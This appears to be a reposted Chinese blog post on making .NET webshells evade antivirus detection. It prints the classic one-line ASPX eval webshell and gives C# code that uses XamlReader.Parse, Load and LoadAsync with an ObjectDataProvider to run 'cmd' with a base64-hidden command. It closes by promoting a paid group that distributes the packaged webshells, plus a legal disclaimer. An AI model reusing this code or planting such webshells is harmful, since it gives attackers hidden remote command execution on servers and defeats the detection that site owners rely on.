.NET平台下的一句话木马百年不变,最常见的当属下面这句,百度WebShell在线查杀可正常识别如下图
<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
笔者从.NET XamlReader类提供的多个方法实现免杀WebShell
0x01 XamlReader.Parse
XamlReader封装于WPF核心程序集PresentationFramework.dll,处于System.Windows.Markup命名空间下,提供封装方法XamlReader.Parse用于直接解析XAML代码,参考如下代码
string ExecCode = EncodeBase64("utf-8", content);
StringBuilder strXMAL = new StringBuilder("<ResourceDictionary ");
strXMAL.Append("xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" ");
strXMAL.Append("xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" ");
strXMAL.Append("xmlns:b="clr-namespace:System;assembly=mscorlib" ");
strXMAL.Append("xmlns:pro ="clr-namespace:System.Diagnostics;assembly=System">");
strXMAL.Append("<ObjectDataProvider x:Key="obj" ObjectType="{x:Type pro:Process}" MethodName="Start">");
strXMAL.Append("<ObjectDataProvider.MethodParameters>");
strXMAL.Append("<b:String>cmd</b:String>");
strXMAL.Append("<b:String>"+ DecodeBase64("utf-8",ExecCode) +"</b:String>");
strXMAL.Append("</ObjectDataProvider.MethodParameters>");
strXMAL.Append("</ObjectDataProvider>");
strXMAL.Append("</ResourceDictionary>");
XamlReader.Parse(strXMAL.ToString());
0x02 XamlReader.Load
另外XamlReader类提供多个Load重载,直接将载入流转换为对象如下,同样实现免杀
MemoryStream ms = new MemoryStream(System.Text.Encoding.Default.GetBytes(xml));
XamlReader.Load(ms);
0x03 XamlReader.LoadAsync
XamlReader类提供LoadAsync异步方法,用于在大文件数据传输不影响程序主线程,直接将载入流转换为对象如下
string ExecCode = EncodeBase64("utf-8", content);
StringBuilder strXMAL = new StringBuilder("<ResourceDictionary ");
strXMAL.Append("xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" ");
strXMAL.Append("xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" ");
strXMAL.Append("xmlns:b="clr-namespace:System;assembly=mscorlib" ");
strXMAL.Append("xmlns:pro ="clr-namespace:System.Diagnostics;assembly=System">");
strXMAL.Append("<ObjectDataProvider x:Key="obj" ObjectType="{x:Type pro:Process}" MethodName="Start">");
strXMAL.Append("<ObjectDataProvider.MethodParameters>");
strXMAL.Append("<b:String>cmd</b:String>");
strXMAL.Append("<b:String>" + DecodeBase64("utf-8", ExecCode) + "</b:String>");
strXMAL.Append("</ObjectDataProvider.MethodParameters>");
strXMAL.Append("</ObjectDataProvider>");
strXMAL.Append("</ResourceDictionary>");
MemoryStream memoryStream = new MemoryStream(System.Text.Encoding.Default.GetBytes(strXMAL.ToString()));
XamlReader xamlReader = new XamlReader();
xamlReader.LoadAsync(memoryStream);
0x02 结语
笔者改用aspx编写此类风险检测程序,同时设计了主机进程、主机信息采集、主机目录文件访问等功能
WebShell文件均已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,经过星球运营团队投票商议决定星球价格优惠活动持续进行,星球价格直接给到星球 [最低起步价¥50] ,每天只需要1块钱不到,就可以让自己从.NET小白成为高手,因为星球里的资料和教程很少在市面上广泛传播,价值完全划算,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。
原文始发于微信公众号(dotNet安全矩阵):.NET WebShell 免杀系列之XamlReader
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论